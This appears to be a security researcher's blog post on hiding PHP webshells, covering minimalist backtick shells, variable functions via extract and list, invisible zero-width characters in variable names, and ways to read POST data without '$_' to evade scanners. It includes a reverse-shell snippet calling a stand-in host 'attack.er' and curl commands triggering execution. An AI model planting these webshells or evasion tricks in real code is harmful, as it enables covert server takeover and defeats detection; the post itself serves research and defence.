Hidden in plain sight

A few thoughts about PHP webshells …

Do you think such a piece of code could be harmful ?

list($x, $x) = $_POST;
$x($x);

If no, please continue reading …

Intro

Although it is fun to find tricky client-side injections, path traversals or IDORs in web applications, it is generally much more satisfying to gain arbitrary code execution (or even better, a command execution). Therefore, arbitrary code execution (or generally referred to as RCE - Remote Code Execution) is not a vulnerability per se, but is the attack resulting from an exploited vulnerability (or a chain of vulnerabilities). Multiple vulnerabilities are known to potentially be the root cause of an RCE, such as (and not limited to):

  • Local File Inclusion, for which an attacker includes a data stream so as to evaluate it ;
  • SQL injection, if the DBMS capabilities allow it, and if the abused service account is privileged enough (local file writes, xp_cmd_shell, COPY ... FROM PROGRAM, etc.) ;
  • Unrestricted File Upload / Arbitrary File Write, for which an attacker can drop their own scripts on the server, and is able to make the latter execute them ;
  • Unsafe Deserialisation, for which an attacker creates arbitrary objects, and possibly calls arbitrary routines ;
  • Commands Injection, for which an attacker includes their own commands into a legitimate one ;

However, gaining an arbitrary code execution is not always an immediate game over, because:

  • Turning the code execution into command execution might be sometimes tricky ;
  • The attacker generally wants to be the only one controlling the target, and wants to prevent the server from being compromised by someone else ;
  • An antimalware solution might be triggered by obvious payloads, that could also warn the webmaster ;
  • This same webmaster, while doing their daily routine, might be triggered by unexpected artefacts (e.g. files, logs) ;
  • Ensuring persistence is also a commonly pursued goal, saving the need of a future re-exploitation ;

Being stealth and efficient at the same time might be challenging. As a first common approach, attackers could leave powerful webshells somewhere on the disk, at an unexpected location where it is unlikely that a webmaster finds them. A second common solution would be to open a reverse shell, if possible, with something like:

$sock = fsockopen("attack.er",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

If the host and port are hardcoded, it might only appear as a hanging blank page to those who find it unintentionally, and cannot be abused by other attackers. Finally, a third common approach would be to drop only a minimalist webshell such as

<?=`$_GET[0]`;?>

The payload can be written in its own file, or hidden somewhere in a legitimate one, where it is more difficult to find.

Obfuscation or minimalism ?

In the first case, powerful webshells are often heavily obfuscated. Taking a look at the malware should quickly raise suspicion with weird symbols, dirty code, escaped strings, etc. To let the compromised web site work properly, it is common for such webshells to be either put in their own files, or prepended or appended to legitimate ones. For instance, let’s take a look at this webshell I found on a compromised WordPress site:

webshell_obf

The principle of this one is quite simple: the file reads itself and looks for the marker ?>, indicating the end of the PHP code (the encoded text starting with =0UV..., in this case). The data after the marker is then saved as $L66Rgr[1] and its decoded version as L6CRgr[2]. Then preg_replace is used as a pretext to execute eval on the latter.

Some other webshells also put an encrypted payload in an external text file, and use poor crypto to recover and evaluate it. Not shown here to keep it simple, but the class UnsafeCrypto only uses openssl_* functions to decrypt/encrypt with aes-256-ctr and hardcoded parameters.

webshell_enc

Finally, let’s take this other webshell, coming as a backdoored index.php file:

backdoored_index

No doubt that the second line has nothing to do there, and that someone who knows a little bit of PHP and security would find it suspicious. Although it would take time to fully understand what this webshell does (assuming that it is unknown), the malicious intent is quite obvious. To make it stealthier, an attacker could prefer another approach: injecting something like `$_GET[0]`; somewhere in a legitimate PHP file (note the backticks). This code executes GET arguments as a bash command, because of the backtick operators, acting like a call to shell_exec. Such a tiny line would not raise much suspicion if lost in the legitimate code.

One could identify three main strategies for such tiny payloads:

  • Having a webshell that calls an exec-like functions (system, passthru, shell_exec or the backtick operator, proc_open, popen, pcntl_exec), passing as argument a user-supplied input (e.g. <?php system($_GET[0]); ?>). Indeed, what an attacker generally wants is to execute bash commands ;
  • Having a webshell that calls eval-like functions, knowing that alternatives are made more difficult to exploit with PHP 8. This second solution makes the webshell even more versatile, but the drawback is that eval cannot be used as a variable function. Whereas it is possible to call system with something like ('sys'.'tem')/**/('id');, doing so with eval would not work (source: Variable functions) ;
  • Having a webshell for which function names are dynamically resolved with variable functions, such as <?php $_GET['a']($_GET['b']); ?>. This third solution is an in between since it does not hardcode the routine name, while still being a bit more restrictive than an eval.

The extract routine

An uncommon way to apply the third solution is to use the routine extract (documentation). According to the documentation:

extract — Import variables into the current symbol table from an array

Do not use extract() on untrusted data, like user input (e.g. $_GET, $_FILES).

In other words, such a piece of code:

extract(array("a" => "b", "c" => "d"));

would create the variable $a = "b" and $c = "d". Combining it with variable functions, it is now clear that $_GET['a']($_GET['b']); could be written as:

extract($_GET);
$a($b);

In other words, using extract in this way is like setting register_globals to on.

The routine parse_str could have the same effect if it is used with only one argument. But as of PHP 8.0.0, the second parameter is mandatory.

The list routine

Another interesting routine similar to extract is list. As stated in the doc:

Like array(), this is not really a function, but a language construct. list() is used to assign a list of variables in one operation. Strings cannot be unpacked and list() expressions cannot be completely empty.

Compared to extract, the documentation does not warn here against misuses. My guess is that a misuse of extract would involve the passed parameter (a user-controlled array), while a misuse of list would involve the right side of the assignment, and therefore not something directly related to the routine itself. For example, the following snippet would create the variables $drink, $color and $power, respectively assigning to them the values coffee, brown, and caffeine (from the doc).

$info = array('coffee', 'brown', 'caffeine');
list($drink, $color, $power) = $info;

To make it behave like extract, one would need to write something like:

list($a,$b) = $_POST;
$a($b);

To trigger the code execution, one would then need to send something like:

webshell_list

By default, index names are increasing integers. The extract solution has the advantage that no obvious relation exists between the $_POST and the variables $a and $b;

Weird PHP variables

Does this tiny PHP file seem harmful ?

list($x, $x) = $_POST;
$x($x);

These two lines of PHP code could be put somewhere in a legitimate file (maybe not as sequential instructions).

Of course, the second line extracts untrusted data and creates variables from it, and uses it to call variable functions. However, it seems that it can only be something like 'system'('system') or 'exec'('exec'), with the argument value being the same as the function name, and such instructions should not be useful. Is it, really ?

However, running an xxd on the file reveals that the second $x is actually not the same as the first one. The variable name also contains the U+200D ZERO WIDTH JOINER character (\xE2\x80\x8D).

weird_shell2

Some odd non-printable characters are appended to its name. According to the PHP documentation, variable names are valid as long as they follow this regular expression:

^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$

which means that letters (uppercase and lowercase), numbers, underscores and binary characters can be used (the first one cannot be a number). Some of these non-printable characters can be invisible (invisible-characters.com), making $x variables visually (almost) the same. To trigger code execution, the same payload can be used:

$ curl -k http://targ.et/test.php -d '0=system' -d '1=uname -a'

However, if the version with extract is used:

extract($_POST);
$x($x);

named indexes must be used for the two $x variables (a real one and a look-alike), and the curl command would be something like:

weird_shell3

Getting rid of $_

The common way to pass data to PHP scripts is to send them as GET or POST parameters. Passing them as custom HTTP headers is also something quite common, to avoid payloads being logged. On the server side, passed parameters are generally retrieved with superglobals $_GET or $_POST, as shown in the tiny webshells with list and extract. The following superglobals are under the user’s control, totally or partially:

  • $_GET: the parameters passed by the user in the URL ;
  • $_POST: the parameters passed by the user in the request body ;
  • $_FILES: uploaded files, populated even if no uploaded file is expected ;
  • $_COOKIE: submitted cookies ;
  • $_SESSION: normally not completely under the user’s control (fortunately). It contains data related to the current user’s session ;
  • $_REQUEST: merges $_GET, $_POST and $_COOKIE ;
  • $_ENV: associative array that contains variables passed to the current script via the environment method. It is not completely under the user’s control, but they can still manipulate some entries, such as $_ENV['REQUEST_URI'] ;
  • $GLOBALS: variables populated based on current user’s session and HTTP request being sent. It contains the variables _GET or _POST ;
  • $_SERVER: similar to $_ENV, and it also contains some entries under the user’s control.

Although using superglobals is quite handy, spotting patterns like extract($_POST) or list(...) = $_POST can be done with a few regular expressions, hunting for $_ or $GLOBALS. However, PHP is a permissive language, making it possible to recreate variables based on string manipulations, with variable variables:

$x = '_'.'POST';
echo $$x['param'];

The double-dollar sign would recreate the variable named _POST, giving in the end $_POST["param"].

Warning Please note that variable variables cannot be used with PHP’s Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically. That’s what the doc says.

Another way to write it could be as follows:

$x = ${"_"."POST"}["param"];

However, we can do a bit better, by getting rid of the $ sign. This is great because the constructions $$ and ${ are a bit odd and can be spotted with regular expressions (note that the symbols can be separated by dummy comments like $/*useless*/$x).

The following lines can also be used to retrieve data sent as POST parameters:

echo filter_input(0, "param");
echo file_get_contents("php://input");
echo get_defined_vars()[array_keys(get_defined_vars())[1]]["param"];

Let’s get more into details.

The routine filter_input

As stated in the doc

filter_input — Gets a specific external variable by name and optionally filters it

filter_input(
   int $type,
   string $var_name,
   int $filter = FILTER_DEFAULT,
   array|int $options = 0
): mixed

The first argument ($type) is supposed to be one of INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, or INPUT_ENV. These values can, however, be translated into integers:

  • INPUT_GET: 1 ;
  • INPUT_POST: 0 ;
  • INPUT_COOKIE: 2 ;
  • INPUT_SERVER: 5 ;
  • INPUT_ENV: 4 ;

The 3 does not seem to be defined.

The second argument is the same as the passed parameter, which means that filter_input(0, "param"); would extract the value of the parameter param sent through POST.

The routine file_get_contents

This routine can be used to read a data stream (e.g. file, URL), and is quite well known. The wrapper php://input is a read-only stream that allows you to read raw data from the request body (source). Using it as an argument for file_get_contents is therefore an easy way to store the POST’ed data in a variable:

$x = file_get_contents("php://input");
var_dump($x);

If the POST’ed data contains a=b&c=d, this snippet of code would print:

string(7) "a=b&c=d"

Some manipulations still need to be done to separate the parameters.

The routine get_defined_vars

As stated in the holy doc:

This function returns a multidimensional array containing a list of all defined variables, be them environment, server or user-defined variables, within the scope that get_defined_vars() is called.

I know there is a typo and that “be them environment” is wrong, but that is what is written.

Even if no POST or GET parameter is sent, the returned multidimensional array would not be empty:

Array
(
    [_GET] => Array
        (
        )

    [_POST] => Array
        (
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )

)

Therefore, having such a request curl -k https://targ.et/test.php?x=qwertz -d 'y=asdf' would give something like:

Array
(
    [_GET] => Array
        (
            [x] => qwertz
        )

    [_POST] => Array
        (
            [y] => asdf
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )

)

To access each item without the string _GET or _POST, one could use the routine array_keys, which returns the list of the keys:

print_r(array_keys(get_defined_vars()));

The result would be like:

Array
(
    [0] => _GET
    [1] => _POST
    [2] => _COOKIE
    [3] => _FILES
)

Therefore, retrieving the POST’ed data could be done as follows:

get_defined_vars()[array_keys(get_defined_vars())[1]]; //all POST'ed data
get_defined_vars()[array_keys(get_defined_vars())[1]]["param"]; //the parameter 'param'

Let’s wrap it up in a single PHP script:

post_without_dollar

In the previous snippet, we use an additional evasion technique, masquerading exec as trim. Although the function already exists (source), it can be replaced in the current script.

Let’s trigger the command execution with curl:

post_without_dollar_exec

Not optimal because of multiline output

The five commands passed as A, B, C, D and at the beginning of the POST’ed data are indeed passed to the exec routine, and successfully lead to commands execution.

Sources:

2024

Exploiting CVE-2024-27096

7 minute read

Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...

Back to Top ↑

2023

From SSRF to authentication bypass

4 minute read

I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...

Hidden in plain sight - Part 2

10 minute read

A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...

I want to talk to your managed code

12 minute read

TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...

Qakbot JScript dropper analysis

11 minute read

It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...

CVE-2023-3033

3 minute read

This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...

CVE-2023-3032

less than 1 minute read

Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...

CVE-2023-3031

less than 1 minute read

King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...

FuckFastCGI made simpler

3 minute read

Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...

PHP .user.ini risks

7 minute read

I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...

PHP open_basedir bypass

3 minute read

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...

Back to Top ↑

2020

Self modifying C program - Polymorphic

17 minute read

A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...

Back to Top ↑